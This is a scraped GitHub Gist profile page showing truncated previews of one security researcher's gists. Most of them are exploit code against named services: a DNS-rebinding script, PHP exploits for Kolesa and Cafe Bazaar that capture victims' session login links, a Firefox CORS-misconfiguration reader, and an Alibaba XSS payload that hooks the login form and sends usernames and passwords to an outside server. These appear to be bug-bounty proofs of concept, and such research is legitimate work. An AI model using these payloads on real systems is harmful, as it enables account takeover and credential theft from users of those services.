Skip to content

Instantly share code, notes, and snippets.

View Voorivex's full-sized avatar

Yashar Shahinzadeh Voorivex

1k followers · 4 following
View GitHub Profile
@Voorivex
Voorivex / cf-dns-rebinding.py
Created September 17, 2024 13:49
import requests, os
from dotenv import load_dotenv
from http.server import HTTPServer, BaseHTTPRequestHandler
def update_record():
# Your Cloudflare API token
load_dotenv()
API_TOKEN = os.getenv("API_TOKEN")
# Your Cloudflare Zone ID
@Voorivex
Voorivex / get-weather.markdown
Created May 29, 2022 08:56
Get Weather

Get Weather

Search for your city and find the weather in your location. Created as a freecodecamp project.

A Pen by rbatc on CodePen.

License.

@Voorivex
Voorivex / kolesa-exploit.php
Created September 27, 2020 10:18
<?php
$victim_ip_address = "";
$output="";
$phone_nums="";
// Function to send HTTP GET requests, returning [contents,location,cookies].
function http_get($URL, $cookies = "", $xhr=false)
{
global $victim_ip_address;
$xhr_header="";
if ($xhr == true) {
@Voorivex
Voorivex / HezarSploit.py
Created July 2, 2020 14:45
#!/usr/bin/python
# -*- coding: utf-8 -*-
import ssl
import socket
import os
import sys
from argparse import ArgumentParser
from argparse import RawTextHelpFormatter
from threading import Thread
@Voorivex
Voorivex / Bazar-Exploit.php
Created June 23, 2020 07:42
<?php
if (isset($_GET['key'])) {
//Get authentication token
$token = $_GET['key'];
$login_link = "https://cafebazaar.ir/login/bysession?key=" . $token . "&next=/account/";
$login_link = "Login link: <a href='" . $login_link . "' target='_blank'>" . $login_link . "</a>";
if ($token == "") {
$login_link = "Login Link: Failure! Victim not logged in.";
}
@Voorivex
Voorivex / Firefox-CORS-Misconfig.js
Created July 4, 2019 08:26
<html>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<body onload="CreateListReaderIframe()">
<script>
function CreateListReaderIframe() {
var ifr = document.createElement("iframe");
@Voorivex
Voorivex / Alibaba-final-xss-payload.js
Created April 14, 2019 16:31
document.forms[0].onsubmit = function() {
var u = document.getElementById('fm-login-id');
var p = document.getElementById('fm-login-password');
var s = new XMLHttpRequets();
s.open('POST', 'https://myserver/xxx-alibaba/');
s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
s.onreadystatechange = function() {
if (s.readState == 4) {
document.forms[0].submit();
}
@Voorivex
Voorivex / doc.open.alipay.com-vulnerable-js-searchList-v2.js
Created April 14, 2019 15:57
function h(b, e) {
url = d.one(".J_ajaxUrl").val();
var f = "keyword=" + (d.one(".J_Tagword") ? d.one(".J_Tagword").val() : d.one(".J_SearchKeyword").val()) + "&searchType=" + e;
url.indexOf("?") > 0 ? url += "&" : url += "?",
c({
url: url + f + "&current=" + b,
type: "post",
dataType: "json",
data: {},
success: function(b) {